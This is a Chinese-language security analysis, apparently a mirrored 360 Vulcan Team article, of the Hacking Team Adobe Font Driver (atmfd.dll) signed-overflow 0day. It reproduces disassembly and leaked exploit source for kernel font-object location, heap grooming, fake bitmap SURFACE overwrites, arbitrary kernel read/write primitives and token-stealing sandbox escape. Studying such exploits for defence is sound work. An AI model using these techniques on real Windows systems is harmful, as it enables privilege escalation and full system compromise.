Hacking Team攻擊程式碼分析Part 3 : Adobe Font Driver核心驅動許可權提升漏洞

wyzsk發表於2020-08-19
作者: 360安全衛士 · 2015/07/08 13:00

作者:360Vulcan Team的pgboy

0x00 前言


[email protected] 共享了我們針對Hacking Team洩露的 Flash 0day漏洞的技術分析(http://blogs.360.cn/blog/hacking-team-part2/和http://blogs.360.cn/blog/hacking-team-flash-0day/),為了在IE和Chrome上繞過其沙盒機制完全控制使用者系統,Hacking Team還利用了一個Windows中的核心驅動: Adobe Font Driver(atmfd.dll)中存在的一處字型0day漏洞,實現許可權提升並繞過沙盒機制。

該0day漏洞可以用於WindowsXP~Windows 8.1系統,X86和X64平臺都受影響,在Hacking Team洩露的原始碼中我們發現了該漏洞的詳細利用程式碼。在利用Flash漏洞獲得遠端程式碼執行許可權後,Hacking Team經過複雜的核心堆操作準備後,載入一個畸形的OTF字型檔案,再呼叫Atmfd中的相關介面觸發處理字型檔案過程的漏洞,最後獲得任意次數的任意核心地址讀寫許可權,接著複製Explorer.exe的token到當前程式,並清除本程式的Job來實現沙盒逃逸。

Chrome 43版本以上預設對沙盒內程式使用DisallowWin32k機制關閉了所有win32k相關呼叫,因此不受這個漏洞的影響。 下面是該漏洞的具體分析,本文分析來自360Vulcan Team的pgboy:

0x01 漏洞分析


透過分析漏洞利用的原始碼我們看到,該漏洞在載入字型完成後利用NamedEscape函式的0x2514命令來觸發關鍵操作 透過跟蹤NamedEscape我們可以找到存在於atmfd.dll裡面漏洞點: 以下是筆者測試機器上atmfd的版本(win7 32bit):

#!bash
01  kd> lmvm atmfd
02  start end module name
03  95250000 9529e000 ATMFD (no symbols)
04  Loaded symbol image file: ATMFD.DLL
05  Image path: \SystemRoot\System32\ATMFD.DLL
06  Image name: ATMFD.DLL
07  Timestamp: Fri Feb 20 11:09:14 2015 (54E6A55A)
08  CheckSum: 00057316
09  ImageSize: 0004E000
10  File version: 5.1.2.241
11  Product version: 5.1.2.241
12  File flags: 0 (Mask 3F)
13  File OS: 40004 NT Win32
14  File type: 3.0 Driver
15  File date: 00000000.00000000
16  Translations: 0409.04b0
17  CompanyName: Adobe Systems Incorporated
18  ProductName: Adobe Type Manager
19  InternalName: ATMFD
20  OriginalFilename: ATMFD.DLL
21  ProductVersion: 5.1 Build 241
22  FileVersion: 5.1 Build 241
23  FileDescription: Windows NT OpenType/Type 1 Font Driver
24  LegalCopyright: ©1983-1990, 1993-2004 Adobe Systems Inc.

相關觸發漏洞的callback程式碼如下:

#!bash
01  .text:00011EC6 WriteCallback proc near ; DATA XREF: sub_125D0+66?o
02  .text:00011EC6
03  .text:00011EC6 ms_exc = CPPEH_RECORD ptr -18h
04  .text:00011EC6 arg_4 = word ptr 0Ch
05  .text:00011EC6 arg_8 = word ptr 10h
06  .text:00011EC6 arg_C = dword ptr 14h
07  .text:00011EC6
08  .text:00011EC6 push 8
09  .text:00011EC8 push offset stru_4CF60
10  .text:00011ECD call __SEH_prolog4
11  .text:00011ED2 and [ebp+ms_exc.registration.TryLevel], 0
12  .text:00011ED6 movsx eax, [ebp+arg_8] ;引數是一個有符號的WORD,這裡在擴充套件的時候會直接變成負數
13  .text:00011EDA mov ecx, [ebp+arg_C]
14  .text:00011EDD movzx edx, word ptr [ecx+4]
15  .text:00011EE1 cmp eax, edx
16  .text:00011EE3 jge short loc_11EEE
17  .text:00011EE5 mov dx, [ebp+arg_4]
18  .text:00011EE9 mov [ecx+eax*2+6], dx
19  .text:00011EEE
20  .text:00011EEE loc_11EEE:
21  .text:00011EEE mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh
22  .text:00011EF5 call loc_11F04
23  .text:00011EFA ; ---------------------------------------------------------------------------
24  .text:00011EFA
25  .text:00011EFA loc_11EFA:
26  .text:00011EFA xor eax, eax
27  .text:00011EFC call __SEH_epilog4
28  .text:00011F01 retn 10h

F5之後的callback程式碼

#!c++
1   int __stdcall WriteCallback(int a1, __int16 a2, __int16 a3, int a4)
2   {
3   if ( a3 < (signed int)*(_WORD *)(a4 + 4) )
4      *(_WORD *)(a4 + 2 * a3 + 6) = a2;
5   return 0;
6   }

這個Callback被外層函式迴圈呼叫寫入快取:

#!bash
01  .text:0002A028 loc_2A028: ; CODE XREF: xxxEnumCharset+E7?j
02  .text:0002A028 push [ebp+InBuffer]
03  .text:0002A02B movzx eax, si
04  .text:0002A02E push eax
05  .text:0002A02F push eax
06  .text:0002A030 lea eax, [ebp+var_1C]
07  .text:0002A033 push eax
08  .text:0002A034 push [ebp+var_4]
09  .text:0002A037 call [ebp+arg_0]
10  .text:0002A03A movzx eax, ax
11  .text:0002A03D push eax
12  .text:0002A03E push 0
13  .text:0002A040 call [ebp+callback] ; 呼叫觸發漏洞的回撥函式,將Charset寫入到InBuffer中
14  .text:0002A043 movzx eax, word ptr [edi+5Ch]
15  .text:0002A047 inc esi
16  .text:0002A048 cmp esi, eax
17  .text:0002A04A jb short loc_2A028

我們可以看到,這裡引數a3是一個有符號的16位數,當a3>0x8000的時候,movsx會將其擴充套件成0xffff8xxx,因此下面的寫操作就變成了堆上溢,會往給出的快取地址的前面寫入。這是一個典型的由於符號溢位引發的堆上溢漏洞。

瞭解了漏洞的原理後,我們來繼續分析OTF檔案是如何觸發該問題的,透過除錯結合Adobe的文件我們可以知道,是在處理OTF檔案中CFF表的Charset過程引發的問題。

我們可以透過T2F Analyzer來觀察這個被載入的OTF字型檔案的格式。見下圖:

enter image description here

顯而易見,樣本OTF檔案中構造了超長的Charset,然後透過NamedEscape函式的0x2514命令來獲取Charset的時候,就會觸發到上面描述的觸發點,引發符號溢位。

0x02 漏洞利用


我們從頭再看一下漏洞利用的流程,整個流程主要分這麼幾個部分:

1 找到核心字型物件的地址

由於核心字型記憶體的佈局無法直接被Ring3程式碼探知,利用程式碼中使用了一個特殊的技巧來實現獲得核心字型物件的地址,在利用程式碼中,先載入字型,然後立刻建立一個Bitmap物件,再連續多次載入這個字型,由於win32k和atmfd中共用了記憶體堆處理函式,因此會導致Bitmap物件和字型物件是正好相鄰的。 由於Bitmap這類user/gdi物件的實際核心地址可以透過對映到Ring3的GdiSharedHandleTable獲得,因此這樣也就可以間接獲得攻擊程式碼載入到核心的字型物件的範圍。 最後,由於NamedEscape函式呼叫atmfd裝置的0x250A號命令可以指定物件的地址,並校驗字型物件的有效性同時將字型物件讀出來,因此攻擊程式碼結合Bitmap定位和NamedEscape的0x250a指令,就可以準確獲取字型物件的地址,相關的程式碼如下:

#!c++
01  while (found == 0) {
02  unsigned char fontloaded = 0;
03  for (j = 0; j < 15; j++) {
04  tmp[0] = 0;
05  fhandle = lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
06  if (fhandle){
07  fontloaded = 1;
08  }
09  }
10  if (fontloaded == 0) {
11  return -1;
12  }
13   
14  if (lpTable->locals->is64)
15  j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw64, smallbitmaph64, 1, 32, buf64);
16  else
17  j = (unsigned int)lpTable->fpCreateBitmap(smallbitmapw32, smallbitmaph32, 1, 32, buf32);
18   
19  if (lpTable->locals->is64) {
20  tmp[0] = handleaddr64low(j);
21  tmp[1] = handleaddr64high(j);
22  }
23  else
24  tmp[0] = handleaddr(j);
25   
26  min = tmp[0] - 0x4000;
27  max = tmp[0] + 0x4000;
28   
29  for (j = 0; j < 15; j++) {
30  tmp[0] = 0;
31  lpTable->fpAddFontMemResourceEx(lpTable->lpLoaderConfig->foofont, sizeof(lpTable->lpLoaderConfig->foofont), 0, &tmp[0]);
32  }
33   
34  for (i = min; i < max; i += 8) {
35  int ret;
36   
37  *(unsigned int*)inbuf = i;
38   
39  if (lpTable->locals->is64)
40  *(unsigned int*)(inbuf + 4) = tmp[1];
41   
42  __MEMSET__(outbuf, 0, sizeof(outbuf));
43   
44  //call an internal atmfd.dll function which receives a kernel font object as input and validates it
45  //also returning data that identifies the font
46  if (lpTable->locals->is64) {
47  ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x10, inbuf, 0x10, outbuf);
48  }else {
49  ret = NamedEscape(NULL, wcAtmfd, 0x250A, 0x0C, inbuf, 0x0C, outbuf);
50  }
51   
52  if (ret != 0xFFFFFF21) {
53  char *p;
54   
55  if (lpTable->locals->is64)
56  p = outbuf + 8;
57  else
58  p = outbuf + 4;
59   
60  if (__MEMCMP__(p, lpTable->lpLoaderConfig->strFontEgg, 8) == 0) {
61  found = 1;
62  break;
63  }
64  }
65  }
66  }

2 觸發漏洞,實現寫入Bitmap物件

攻擊程式碼首先會分配多個0xb000大小的物件,然後找到9個相鄰的Bitmap物件並釋放中間的3個,這樣就在核心win32k堆記憶體中留下了0xb000*3= 0x21000大小的空洞,接著攻擊程式碼呼叫NameDEscape-atmfd的0x2514號命令來讀取超長的Charset,觸發漏洞。

在這個NamedEscape呼叫到atmfd過程中,會分配核心物件來複制一份輸入的快取,這裡攻擊程式碼將輸入的快取大小設定為0x20005,由於頁對齊的原因,這裡正好可以佔住上面我們說到的0x21000大小的空洞記憶體。

這樣在最終符號溢位時,就會寫入到這塊Buffer上面未被釋放的Bitmap物件中,這就透過精確地堆操作完成了將這個符號溢位導致的快取上溢轉換到對已控制的Bitmap物件的寫入。 這個轉化的流程如下圖所示:

enter image description here

3 將Bitmap寫入轉換為核心任意地址讀寫

在第2步我們講到這裡可以透過操作字型介面,將OTF檔案的Charset處理的符號溢位漏洞轉換為覆蓋Bitmap物件記憶體的操作,這裡我們來看看Bitmap物件在win32k中是如何組織的:它實際是一個 SURFACE物件,結構如下:

#!bash
01  typedef struct {
02  unsigned int handle0;
03  unsigned int unk0[4];
04  unsigned int handle1;
05  unsigned int unk1[2];
06  unsigned int width;
07  unsigned int height;
08  unsigned int size;
09  unsigned int address0;
10  unsigned int address1;
11  unsigned int scansize;
12  unsigned int unk2;
13  unsigned int bmpformat;
14  unsigned int surftype;
15  unsigned int unk3;
16  unsigned int surflags;
17  unsigned int unk4[12];
18  } SURFACE;

其中,Address0其實是指向Bitmap中BitsBuffer的指標,我們可以透過SetBitmapBits函式來操作BitsBuffer指向的記憶體,可以寫入bitmap物件的SURFACE核心結構後,攻擊程式碼就可以透過控制Address0來實現任意地址讀寫。

在攻擊程式碼中,使用了兩個Bitmap物件,一個Bitmap用來控制讀寫地址,另一個Bitmap2用來進行實際讀寫,我們將Bitmap2作為讀寫地址控制器,將其pBitsBuffer指向實現實際讀寫的Bitmap的pBitsBuffer的地址,這樣就可以實現多次穩定的任意地址讀寫。

也就是說,我們透過對Bitmap2進行 SetBitmapBits,設定實際讀寫的 Bitmap的pBitsBuffer為我們想要讀寫的地址,然後就可以透過進行實際讀寫的Bitmap的GetBitmapBits和SetBitmapBits來實現對指定地址的讀寫了,如圖所示:

enter image description here

我們看到,在攻擊程式碼中,首先建立了一個假的Bitmap物件,然後將這個物件寫到字型的Charset中:

#!c++
01  surf32.width = largebitmapw;
02  surf32.height = largebitmaph;
03  surf32.size = surf32.width*surf32.height * 4;
04   
05  //point to hBitmap SURFACE->address0, which contains the kernel address of bitmap data
06  surf32.address0 = surf32.address1 = handleaddr(lpTable->locals->hBitmap) + 0x2C;
07  surf32.scansize = surf32.width * 4;
08  surf32.bmpformat = 0x6; //BMF_32BPP
09  surf32.surftype = 0x00010000; //STYPE_DEVICE
10  surf32.surflags = 0x04800000; //API_BITMAP | HOOK_TEXTOUT
11   
12  //write to the OTF data loaded from font.h
13  for (i = 0; i < sizeof(surf32); i += 2) {
14  unsigned short tmp = *(unsigned short*)((unsigned int)&surf32 + i);
15  *(unsigned short*)(lpTable->lpLoaderConfig->foofont + 0x16DF3 + i) = lpTable->fpHtons(tmp);
16  }

上面的攻擊程式碼中,則將這個假的Bitmap物件的address0,也就是pBitsBuffer設定成了進行實際讀寫的bitmap的pBitsBuffer的地址。所以這個假的Bitmap物件就是我們上面提到的控制讀寫地址的Bitmap2。

最後下面就是完整的利用這個方式實現的任意核心地址的讀(arbread)和寫(arbwrite)程式碼:

#!c++
01  unsigned int arbread(PVTABLE lpTable, unsigned int addrl, unsigned int addrh) {
02  unsigned int tmp[4];// = {0,0,0,0};
03   
04  __MEMSET__(tmp, 0, 4);
05   
06  if (lpTable->locals->is64) {
07  tmp[0] = tmp[2] = addrl;
08  tmp[1] = tmp[3] = addrh;
09  lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
10   
11  lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
12  } else {
13  tmp[0] = tmp[1] = addrl;
14  lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
15   
16  lpTable->fpGetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
17  }
18   
19  return tmp[0];
20  }
21   
22  // ported
23  unsigned int arbwrite(PVTABLE lpTable, unsigned int addrl, unsigned intaddrh, unsigned int value0, unsigned int value1) {
24  unsigned int tmp[4]; // = {0,0,0,0};
25   
26  __MEMSET__(tmp, 0, 4);
27   
28  if (lpTable->locals->is64) {
29  tmp[0] = tmp[2] = addrl;
30  tmp[1] = tmp[3] = addrh;
31  lpTable->fpSetBitmapBits(lpTable->locals->thehandle, sizeof(tmp), &tmp);
32   
33  tmp[0] = value0;
34  tmp[1] = value1;
35  lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, 8, &tmp[0]);
36  } else {
37  tmp[0] = tmp[1] = addrl;
38  lpTable->fpSetBitmapBits(lpTable->locals->thehandle, 8, &tmp);
39   
40  tmp[0] = value0;
41  lpTable->fpSetBitmapBits(lpTable->locals->hBitmap, sizeof(tmp[0]), &tmp[0]);
42  }
43   
44  return tmp[0];
45  }

0x03 修復核心堆


由於漏洞是在上溢過程中進行的對前一個物件寫入,必然會對核心堆造成破壞,所以必須要修復核心堆的結構,這樣才能實現在程式退出,物件被釋放時不會造成系統藍色畫面崩潰,詳細的修復程式碼可以參考原始碼中觸發利用點之後的操作,篇幅關係就不在這裡完全列出了。

0x04 實現許可權提升


在實現了核心任意地址寫入功能後,許可權提升過程就比較簡單了,攻擊程式碼透過遍歷核心程式表找到explore.exe的程式token,直接將explore的token物件的地址寫入到當前程式的token中,並清除程式的Job物件,來實現最終完全繞過各類沙盒的保護功能。

由於許可權提升過程中完全使用了DKOM的方式,沒有進行核心程式碼執行,因此也繞過了Windows8以上系統中的SMEP核心保護功能。 我們在分析這個漏洞的過程中,發現目前Hacking Team版本的漏洞利用程式碼還是存在一些問題的,由於最終的提權程式碼直接從Explore複製的token物件,會導致該token物件的引用計數出現問題,當系統關機、登出,或者Explore.exe異常結束,最終導致Explore.exe程式退出時,可能會導致引用錯誤的token物件,引發系統藍色畫面崩潰,這是這個利用不夠優美的地方。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章